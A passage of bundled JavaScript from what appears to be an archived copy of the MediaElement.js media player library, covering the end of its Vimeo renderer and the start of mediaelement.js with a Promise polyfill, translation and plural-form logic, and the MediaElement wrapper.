vimeoContainer.setAttribute('allowfullscreen', 'true'); vimeoContainer.setAttribute('allow', 'autoplay'); mediaElement.originalNode.parentNode.insertBefore(vimeoContainer, mediaElement.originalNode); mediaElement.originalNode.style.display = 'none'; VimeoApi.load({ iframe: vimeoContainer, id: vimeo.id }); vimeo.hide = function () { vimeo.pause(); if (vimeoPlayer) { vimeoContainer.style.display = 'none'; } }; vimeo.setSize = function (width, height) { vimeoContainer.setAttribute('width', width); vimeoContainer.setAttribute('height', height); }; vimeo.show = function () { if (vimeoPlayer) { vimeoContainer.style.display = ''; } }; vimeo.destroy = function () {}; return vimeo; } }; mejs.Utils.typeChecks.push(function (url) { return (/(\/\/player\.vimeo|vimeo\.com)/i.test(url) ? 'video/x-vimeo' : null ); }); mejs.Renderers.add(vimeoIframeRenderer); },{}]},{},[1]); mediaelement/mediaelement.js 0000644 00000357326 15111757753 0012220 0 ustar 00 /*! * MediaElement.js * http://www.mediaelementjs.com/ * * Wrapper that mimics native HTML5 MediaElement (audio and video) * using a variety of technologies (pure JavaScript, Flash, iframe) * * Copyright 2010-2017, John Dyer (http://j.hn/) * License: MIT * */(function(){function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s}return e})()({1:[function(_dereq_,module,exports){ },{}],2:[function(_dereq_,module,exports){ (function (global){ var topLevel = typeof global !== 'undefined' ? global : typeof window !== 'undefined' ? window : {} var minDoc = _dereq_(1); var doccy; if (typeof document !== 'undefined') { doccy = document; } else { doccy = topLevel['__GLOBAL_DOCUMENT_CACHE@4']; if (!doccy) { doccy = topLevel['__GLOBAL_DOCUMENT_CACHE@4'] = minDoc; } } module.exports = doccy; }).call(this,typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : {}) },{"1":1}],3:[function(_dereq_,module,exports){ (function (global){ var win; if (typeof window !== "undefined") { win = window; } else if (typeof global !== "undefined") { win = global; } else if (typeof self !== "undefined"){ win = self; } else { win = {}; } module.exports = win; }).call(this,typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : {}) },{}],4:[function(_dereq_,module,exports){ (function (root) { // Store setTimeout reference so promise-polyfill will be unaffected by // other code modifying setTimeout (like sinon.useFakeTimers()) var setTimeoutFunc = setTimeout; function noop() {} // Polyfill for Function.prototype.bind function bind(fn, thisArg) { return function () { fn.apply(thisArg, arguments); }; } function Promise(fn) { if (typeof this !== 'object') throw new TypeError('Promises must be constructed via new'); if (typeof fn !== 'function') throw new TypeError('not a function'); this._state = 0; this._handled = false; this._value = undefined; this._deferreds = []; doResolve(fn, this); } function handle(self, deferred) { while (self._state === 3) { self = self._value; } if (self._state === 0) { self._deferreds.push(deferred); return; } self._handled = true; Promise._immediateFn(function () { var cb = self._state === 1 ? deferred.onFulfilled : deferred.onRejected; if (cb === null) { (self._state === 1 ? resolve : reject)(deferred.promise, self._value); return; } var ret; try { ret = cb(self._value); } catch (e) { reject(deferred.promise, e); return; } resolve(deferred.promise, ret); }); } function resolve(self, newValue) { try { // Promise Resolution Procedure: https://github.com/promises-aplus/promises-spec#the-promise-resolution-procedure if (newValue === self) throw new TypeError('A promise cannot be resolved with itself.'); if (newValue && (typeof newValue === 'object' || typeof newValue === 'function')) { var then = newValue.then; if (newValue instanceof Promise) { self._state = 3; self._value = newValue; finale(self); return; } else if (typeof then === 'function') { doResolve(bind(then, newValue), self); return; } } self._state = 1; self._value = newValue; finale(self); } catch (e) { reject(self, e); } } function reject(self, newValue) { self._state = 2; self._value = newValue; finale(self); } function finale(self) { if (self._state === 2 && self._deferreds.length === 0) { Promise._immediateFn(function() { if (!self._handled) { Promise._unhandledRejectionFn(self._value); } }); } for (var i = 0, len = self._deferreds.length; i < len; i++) { handle(self, self._deferreds[i]); } self._deferreds = null; } function Handler(onFulfilled, onRejected, promise) { this.onFulfilled = typeof onFulfilled === 'function' ? onFulfilled : null; this.onRejected = typeof onRejected === 'function' ? onRejected : null; this.promise = promise; } /** * Take a potentially misbehaving resolver function and make sure * onFulfilled and onRejected are only called once. * * Makes no guarantees about asynchrony. */ function doResolve(fn, self) { var done = false; try { fn(function (value) { if (done) return; done = true; resolve(self, value); }, function (reason) { if (done) return; done = true; reject(self, reason); }); } catch (ex) { if (done) return; done = true; reject(self, ex); } } Promise.prototype['catch'] = function (onRejected) { return this.then(null, onRejected); }; Promise.prototype.then = function (onFulfilled, onRejected) { var prom = new (this.constructor)(noop); handle(this, new Handler(onFulfilled, onRejected, prom)); return prom; }; Promise.all = function (arr) { var args = Array.prototype.slice.call(arr); return new Promise(function (resolve, reject) { if (args.length === 0) return resolve([]); var remaining = args.length; function res(i, val) { try { if (val && (typeof val === 'object' || typeof val === 'function')) { var then = val.then; if (typeof then === 'function') { then.call(val, function (val) { res(i, val); }, reject); return; } } args[i] = val; if (--remaining === 0) { resolve(args); } } catch (ex) { reject(ex); } } for (var i = 0; i < args.length; i++) { res(i, args[i]); } }); }; Promise.resolve = function (value) { if (value && typeof value === 'object' && value.constructor === Promise) { return value; } return new Promise(function (resolve) { resolve(value); }); }; Promise.reject = function (value) { return new Promise(function (resolve, reject) { reject(value); }); }; Promise.race = function (values) { return new Promise(function (resolve, reject) { for (var i = 0, len = values.length; i < len; i++) { values[i].then(resolve, reject); } }); }; // Use polyfill for setImmediate for performance gains Promise._immediateFn = (typeof setImmediate === 'function' && function (fn) { setImmediate(fn); }) || function (fn) { setTimeoutFunc(fn, 0); }; Promise._unhandledRejectionFn = function _unhandledRejectionFn(err) { if (typeof console !== 'undefined' && console) { console.warn('Possible Unhandled Promise Rejection:', err); // eslint-disable-line no-console } }; /** * Set the immediate function to execute callbacks * @param fn {function} Function to execute * @deprecated */ Promise._setImmediateFn = function _setImmediateFn(fn) { Promise._immediateFn = fn; }; /** * Change the function to execute on unhandled rejection * @param {function} fn Function to execute on unhandled rejection * @deprecated */ Promise._setUnhandledRejectionFn = function _setUnhandledRejectionFn(fn) { Promise._unhandledRejectionFn = fn; }; if (typeof module !== 'undefined' && module.exports) { module.exports = Promise; } else if (!root.Promise) { root.Promise = Promise; } })(this); },{}],5:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _en = _dereq_(9); var _general = _dereq_(18); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var i18n = { lang: 'en', en: _en.EN }; i18n.language = function () { for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } if (args !== null && args !== undefined && args.length) { if (typeof args[0] !== 'string') { throw new TypeError('Language code must be a string value'); } if (!/^[a-z]{2,3}((\-|_)[a-z]{2})?$/i.test(args[0])) { throw new TypeError('Language code must have format 2-3 letters and. optionally, hyphen, underscore followed by 2 more letters'); } i18n.lang = args[0]; if (i18n[args[0]] === undefined) { args[1] = args[1] !== null && args[1] !== undefined && _typeof(args[1]) === 'object' ? args[1] : {}; i18n[args[0]] = !(0, _general.isObjectEmpty)(args[1]) ? args[1] : _en.EN; } else if (args[1] !== null && args[1] !== undefined && _typeof(args[1]) === 'object') { i18n[args[0]] = args[1]; } } return i18n.lang; }; i18n.t = function (message) { var pluralParam = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : null; if (typeof message === 'string' && message.length) { var str = void 0, pluralForm = void 0; var language = i18n.language(); var _plural = function _plural(input, number, form) { if ((typeof input === 'undefined' ? 'undefined' : _typeof(input)) !== 'object' || typeof number !== 'number' || typeof form !== 'number') { return input; } var _pluralForms = function () { return [function () { return arguments.length <= 1 ? undefined : arguments[1]; }, function () { return (arguments.length <= 0 ? undefined : arguments[0]) === 1 ? arguments.length <= 1 ? undefined : arguments[1] : arguments.length <= 2 ? undefined : arguments[2]; }, function () { return (arguments.length <= 0 ? undefined : arguments[0]) === 0 || (arguments.length <= 0 ? undefined : arguments[0]) === 1 ? arguments.length <= 1 ? undefined : arguments[1] : arguments.length <= 2 ? undefined : arguments[2]; }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 === 1 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 !== 11) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) !== 0) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1 || (arguments.length <= 0 ? undefined : arguments[0]) === 11) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 2 || (arguments.length <= 0 ? undefined : arguments[0]) === 12) { return arguments.length <= 2 ? undefined : arguments[2]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) > 2 && (arguments.length <= 0 ? undefined : arguments[0]) < 20) { return arguments.length <= 3 ? undefined : arguments[3]; } else { return arguments.length <= 4 ? undefined : arguments[4]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 0 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 > 0 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 < 20) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 === 1 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 !== 11) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 >= 2 && ((arguments.length <= 0 ? undefined : arguments[0]) % 100 < 10 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 20)) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return [3]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 === 1 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 !== 11) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 >= 2 && (arguments.length <= 0 ? undefined : arguments[0]) % 10 <= 4 && ((arguments.length <= 0 ? undefined : arguments[0]) % 100 < 10 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 20)) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) >= 2 && (arguments.length <= 0 ? undefined : arguments[0]) <= 4) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 >= 2 && (arguments.length <= 0 ? undefined : arguments[0]) % 10 <= 4 && ((arguments.length <= 0 ? undefined : arguments[0]) % 100 < 10 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 20)) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 === 1) { return arguments.length <= 2 ? undefined : arguments[2]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 === 2) { return arguments.length <= 3 ? undefined : arguments[3]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 === 3 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 === 4) { return arguments.length <= 4 ? undefined : arguments[4]; } else { return arguments.length <= 1 ? undefined : arguments[1]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 2) { return arguments.length <= 2 ? undefined : arguments[2]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) > 2 && (arguments.length <= 0 ? undefined : arguments[0]) < 7) { return arguments.length <= 3 ? undefined : arguments[3]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) > 6 && (arguments.length <= 0 ? undefined : arguments[0]) < 11) { return arguments.length <= 4 ? undefined : arguments[4]; } else { return arguments.length <= 5 ? undefined : arguments[5]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 0) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 2 ? undefined : arguments[2]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 2) { return arguments.length <= 3 ? undefined : arguments[3]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 3 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 <= 10) { return arguments.length <= 4 ? undefined : arguments[4]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 11) { return arguments.length <= 5 ? undefined : arguments[5]; } else { return arguments.length <= 6 ? undefined : arguments[6]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 0 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 > 1 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 < 11) { return arguments.length <= 2 ? undefined : arguments[2]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 > 10 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 < 20) { return arguments.length <= 3 ? undefined : arguments[3]; } else { return arguments.length <= 4 ? undefined : arguments[4]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 === 2) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }, function () { return (arguments.length <= 0 ? undefined : arguments[0]) !== 11 && (arguments.length <= 0 ? undefined : arguments[0]) % 10 === 1 ? arguments.length <= 1 ? undefined : arguments[1] : arguments.length <= 2 ? undefined : arguments[2]; }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 >= 2 && (arguments.length <= 0 ? undefined : arguments[0]) % 10 <= 4 && ((arguments.length <= 0 ? undefined : arguments[0]) % 100 < 10 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 20)) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 2) { return arguments.length <= 2 ? undefined : arguments[2]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) !== 8 && (arguments.length <= 0 ? undefined : arguments[0]) !== 11) { return arguments.length <= 3 ? undefined : arguments[3]; } else { return arguments.length <= 4 ? undefined : arguments[4]; } }, function () { return (arguments.length <= 0 ? undefined : arguments[0]) === 0 ? arguments.length <= 1 ? undefined : arguments[1] : arguments.length <= 2 ? undefined : arguments[2]; }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 2) { return arguments.length <= 2 ? undefined : arguments[2]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 3) { return arguments.length <= 3 ? undefined : arguments[3]; } else { return arguments.length <= 4 ? undefined : arguments[4]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 0) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }]; }(); return _pluralForms[form].apply(null, [number].concat(input)); }; if (i18n[language] !== undefined) { str = i18n[language][message]; if (pluralParam !== null && typeof pluralParam === 'number') { pluralForm = i18n[language]['mejs.plural-form']; str = _plural.apply(null, [str, pluralParam, pluralForm]); } } if (!str && i18n.en) { str = i18n.en[message]; if (pluralParam !== null && typeof pluralParam === 'number') { pluralForm = i18n.en['mejs.plural-form']; str = _plural.apply(null, [str, pluralParam, pluralForm]); } } str = str || message; if (pluralParam !== null && typeof pluralParam === 'number') { str = str.replace('%1', pluralParam); } return (0, _general.escapeHTML)(str); } return message; }; _mejs2.default.i18n = i18n; if (typeof mejsL10n !== 'undefined') { _mejs2.default.i18n.language(mejsL10n.language, mejsL10n.strings); } exports.default = i18n; },{"18":18,"7":7,"9":9}],6:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _general = _dereq_(18); var _media2 = _dereq_(19); var _renderer = _dereq_(8); var _constants = _dereq_(16); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } var MediaElement = function MediaElement(idOrNode, options, sources) { var _this = this; _classCallCheck(this, MediaElement); var t = this; sources = Array.isArray(sources) ? sources : null; t.defaults = { renderers: [], fakeNodeName: 'mediaelementwrapper', pluginPath: 'build/', shimScriptAccess: 'sameDomain' }; options = Object.assign(t.defaults, options); t.mediaElement = _document2.default.createElement(options.fakeNodeName); var id = idOrNode, error = false; if (typeof idOrNode === 'string') { t.mediaElement.originalNode = _document2.default.getElementById(idOrNode); } else { t.mediaElement.originalNode = idOrNode; id = idOrNode.id; } if (t.mediaElement.originalNode === undefined || t.mediaElement.originalNode === null) { return null; } t.mediaElement.options = options; id = id || 'mejs_' + Math.random().toString().slice(2); t.mediaElement.originalNode.setAttribute('id', id + '_from_mejs'); var tagName = t.mediaElement.originalNode.tagName.toLowerCase(); if (['video', 'audio'].indexOf(tagName) > -1 && !t.mediaElement.originalNode.getAttribute('preload')) { t.mediaElement.originalNode.setAttribute('preload', 'none'); } t.mediaElement.originalNode.parentNode.insertBefore(t.mediaElement, t.mediaElement.originalNode); t.mediaElement.appendChild(t.mediaElement.originalNode); var processURL = function processURL(url, type) { if (_window2.default.location.protocol === 'https:' && url.indexOf('http:') === 0 && _constants.IS_IOS && _mejs2.default.html5media.mediaTypes.indexOf(type) > -1) { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function () { if (this.readyState === 4 && this.status === 200) { var _url = _window2.default.URL || _window2.default.webkitURL, blobUrl = _url.createObjectURL(this.response); t.mediaElement.originalNode.setAttribute('src', blobUrl); return blobUrl; } return url; }; xhr.open('GET', url); xhr.responseType = 'blob'; xhr.send(); } return url; }; var mediaFiles = void 0; if (sources !== null) { mediaFiles = sources; } else if (t.mediaElement.originalNode !== null) { mediaFiles = []; switch (t.mediaElement.originalNode.nodeName.toLowerCase()) { case 'iframe': mediaFiles.push({ type: '', src: t.mediaElement.originalNode.getAttribute('src') }); break; case 'audio': case 'video': var _sources = t.mediaElement.originalNode.children.length, nodeSource = t.mediaElement.originalNode.getAttribute('src'); if (nodeSource) { var node = t.mediaElement.originalNode, type = (0, _media2.formatType)(nodeSource, node.getAttribute('type')); mediaFiles.push({ type: type, src: processURL(nodeSource, type) }); } for (var i = 0; i < _sources; i++) { var n = t.mediaElement.originalNode.children[i]; if (n.tagName.toLowerCase() === 'source') { var src = n.getAttribute('src'), _type = (0, _media2.formatType)(src, n.getAttribute('type')); mediaFiles.push({ type: _type, src: processURL(src, _type) }); } } break; } } t.mediaElement.id = id; t.mediaElement.renderers = {}; t.mediaElement.events = {}; t.mediaElement.promises = []; t.mediaElement.renderer = null; t.mediaElement.rendererName = null; t.mediaElement.changeRenderer = function (rendererName, mediaFiles) { var t = _this, media = Object.keys(mediaFiles[0]).length > 2 ? mediaFiles[0] : mediaFiles[0].src; if (t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null && t.mediaElement.renderer.name === rendererName) { t.mediaElement.renderer.pause(); if (t.mediaElement.renderer.stop) { t.mediaElement.renderer.stop(); } t.mediaElement.renderer.show(); t.mediaElement.renderer.setSrc(media); return true; } if (t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null) { t.mediaElement.renderer.pause(); if (t.mediaElement.renderer.stop) { t.mediaElement.renderer.stop(); } t.mediaElement.renderer.hide(); } var newRenderer = t.mediaElement.renderers[rendererName], newRendererType = null; if (newRenderer !== undefined && newRenderer !== null) { newRenderer.show(); newRenderer.setSrc(media); t.mediaElement.renderer = newRenderer; t.mediaElement.rendererName = rendererName; return true; } var rendererArray = t.mediaElement.options.renderers.length ? t.mediaElement.options.renderers : _renderer.renderer.order; for (var _i = 0, total = rendererArray.length; _i < total; _i++) { var index = rendererArray[_i]; if (index === rendererName) { var rendererList = _renderer.renderer.renderers; newRendererType = rendererList[index]; var renderOptions = Object.assign(newRendererType.options, t.mediaElement.options); newRenderer = newRendererType.create(t.mediaElement, renderOptions, mediaFiles); newRenderer.name = rendererName; t.mediaElement.renderers[newRendererType.name] = newRenderer; t.mediaElement.renderer = newRenderer; t.mediaElement.rendererName = rendererName; newRenderer.show(); return true; } } return false; }; t.mediaElement.setSize = function (width, height) { if (t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null) { t.mediaElement.renderer.setSize(width, height); } }; t.mediaElement.generateError = function (message, urlList) { message = message || ''; urlList = Array.isArray(urlList) ? urlList : []; var event = (0, _general.createEvent)('error', t.mediaElement); event.message = message; event.urls = urlList; t.mediaElement.dispatchEvent(event); error = true; }; var props = _mejs2.default.html5media.properties, methods = _mejs2.default.html5media.methods, addProperty = function addProperty(obj, name, onGet, onSet) { var oldValue = obj[name]; var getFn = function getFn() { return onGet.apply(obj, [oldValue]); }, setFn = function setFn(newValue) { oldValue = onSet.apply(obj, [newValue]); return oldValue; }; Object.defineProperty(obj, name, { get: getFn, set: setFn }); }, assignGettersSetters = function assignGettersSetters(propName) { if (propName !== 'src') { var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1), getFn = function getFn() { return t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null && typeof t.mediaElement.renderer['get' + capName] === 'function' ? t.mediaElement.renderer['get' + capName]() : null; }, setFn = function setFn(value) { if (t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null && typeof t.mediaElement.renderer['set' + capName] === 'function') { t.mediaElement.renderer['set' + capName](value); } }; addProperty(t.mediaElement, propName, getFn, setFn); t.mediaElement['get' + capName] = getFn; t.mediaElement['set' + capName] = setFn; } }, getSrc = function getSrc() { return t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null ? t.mediaElement.renderer.getSrc() : null; }, setSrc = function setSrc(value) { var mediaFiles = []; if (typeof value === 'string') { mediaFiles.push({ src: value, type: value ? (0, _media2.getTypeFromFile)(value) : '' }); } else if ((typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && value.src !== undefined) { var _src = (0, _media2.absolutizeUrl)(value.src), _type2 = value.type, media = Object.assign(value, { src: _src, type: (_type2 === '' || _type2 === null || _type2 === undefined) && _src ? (0, _media2.getTypeFromFile)(_src) : _type2 }); mediaFiles.push(media); } else if (Array.isArray(value)) { for (var _i2 = 0, total = value.length; _i2 < total; _i2++) { var _src2 = (0, _media2.absolutizeUrl)(value[_i2].src), _type3 = value[_i2].type, _media = Object.assign(value[_i2], { src: _src2, type: (_type3 === '' || _type3 === null || _type3 === undefined) && _src2 ? (0, _media2.getTypeFromFile)(_src2) : _type3 }); mediaFiles.push(_media); } } var renderInfo = _renderer.renderer.select(mediaFiles, t.mediaElement.options.renderers.length ? t.mediaElement.options.renderers : []), event = void 0; if (!t.mediaElement.paused && !(t.mediaElement.src == null || t.mediaElement.src === '')) { t.mediaElement.pause(); event = (0, _general.createEvent)('pause', t.mediaElement); t.mediaElement.dispatchEvent(event); } t.mediaElement.originalNode.src = mediaFiles[0].src || ''; if (renderInfo === null && mediaFiles[0].src) { t.mediaElement.generateError('No renderer found', mediaFiles); return; } var shouldChangeRenderer = !(mediaFiles[0].src == null || mediaFiles[0].src === ''); return shouldChangeRenderer ? t.mediaElement.changeRenderer(renderInfo.rendererName, mediaFiles) : null; }, triggerAction = function triggerAction(methodName, args) { try { if (methodName === 'play' && (t.mediaElement.rendererName === 'native_dash' || t.mediaElement.rendererName === 'native_hls' || t.mediaElement.rendererName === 'vimeo_iframe')) { var response = t.mediaElement.renderer[methodName](args); if (response && typeof response.then === 'function') { response.catch(function () { if (t.mediaElement.paused) { setTimeout(function () { var tmpResponse = t.mediaElement.renderer.play(); if (tmpResponse !== undefined) { tmpResponse.catch(function () { if (!t.mediaElement.renderer.paused) { t.mediaElement.renderer.pause(); } }); } }, 150); } }); } } else { t.mediaElement.renderer[methodName](args); } } catch (e) { t.mediaElement.generateError(e, mediaFiles); } }, assignMethods = function assignMethods(methodName) { t.mediaElement[methodName] = function () { for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } if (t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null && typeof t.mediaElement.renderer[methodName] === 'function') { if (t.mediaElement.promises.length) { Promise.all(t.mediaElement.promises).then(function () { triggerAction(methodName, args); }).catch(function (e) { t.mediaElement.generateError(e, mediaFiles); }); } else { triggerAction(methodName, args); } } return null; }; }; addProperty(t.mediaElement, 'src', getSrc, setSrc); t.mediaElement.getSrc = getSrc; t.mediaElement.setSrc = setSrc; for (var _i3 = 0, total = props.length; _i3 < total; _i3++) { assignGettersSetters(props[_i3]); } for (var _i4 = 0, _total = methods.length; _i4 < _total; _i4++) { assignMethods(methods[_i4]); } t.mediaElement.addEventListener = function (eventName, callback) { t.mediaElement.events[eventName] = t.mediaElement.events[eventName] || []; t.mediaElement.events[eventName].push(callback); }; t.mediaElement.removeEventListener = function (eventName, callback) { if (!eventName) { t.mediaElement.events = {}; return true; } var callbacks = t.mediaElement.events[eventName]; if (!callbacks) { return true; } if (!callback) { t.mediaElement.events[eventName] = []; return true; } for (var _i5 = 0; _i5 < callbacks.length; _i5++) { if (callbacks[_i5] === callback) { t.mediaElement.events[eventName].splice(_i5, 1); return true; } } return false; }; t.mediaElement.dispatchEvent = function (event) { var callbacks = t.mediaElement.events[event.type]; if (callbacks) { for (var _i6 = 0; _i6 < callbacks.length; _i6++) { callbacks[_i6].apply(null, [event]); } } }; t.mediaElement.destroy = function () { var mediaElement = t.mediaElement.originalNode.cloneNode(true); var wrapper = t.mediaElement.parentElement; mediaElement.removeAttribute('id'); mediaElement.remove(); t.mediaElement.remove(); wrapper.appendChild(mediaElement); }; if (mediaFiles.length) { t.mediaElement.src = mediaFiles; } if (t.mediaElement.promises.length) { Promise.all(t.mediaElement.promises).then(function () { if (t.mediaElement.options.success) { t.mediaElement.options.success(t.mediaElement, t.mediaElement.originalNode); } }).catch(function () { if (error && t.mediaElement.options.error) { t.mediaElement.options.error(t.mediaElement, t.mediaElement.originalNode); } }); } else { if (t.mediaElement.options.success) { t.mediaElement.options.success(t.mediaElement, t.mediaElement.originalNode); } if (error && t.mediaElement.options.error) { t.mediaElement.options.error(t.mediaElement, t.mediaElement.originalNode); } } return t.mediaElement; }; _window2.default.MediaElement = MediaElement; _mejs2.default.MediaElement = MediaElement; exports.default = MediaElement; },{"16":16,"18":18,"19":19,"2":2,"3":3,"7":7,"8":8}],7:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var mejs = {}; mejs.version = '4.2.17'; mejs.html5media = { properties: ['volume', 'src', 'currentTime', 'muted', 'duration', 'paused', 'ended', 'buffered', 'error', 'networkState', 'readyState', 'seeking', 'seekable', 'currentSrc', 'preload', 'bufferedBytes', 'bufferedTime', 'initialTime', 'startOffsetTime', 'defaultPlaybackRate', 'playbackRate', 'played', 'autoplay', 'loop', 'controls'], readOnlyProperties: ['duration', 'paused', 'ended', 'buffered', 'error', 'networkState', 'readyState', 'seeking', 'seekable'], methods: ['load', 'play', 'pause', 'canPlayType'], events: ['loadstart', 'durationchange', 'loadedmetadata', 'loadeddata', 'progress', 'canplay', 'canplaythrough', 'suspend', 'abort', 'error', 'emptied', 'stalled', 'play', 'playing', 'pause', 'waiting', 'seeking', 'seeked', 'timeupdate', 'ended', 'ratechange', 'volumechange'], mediaTypes: ['audio/mp3', 'audio/ogg', 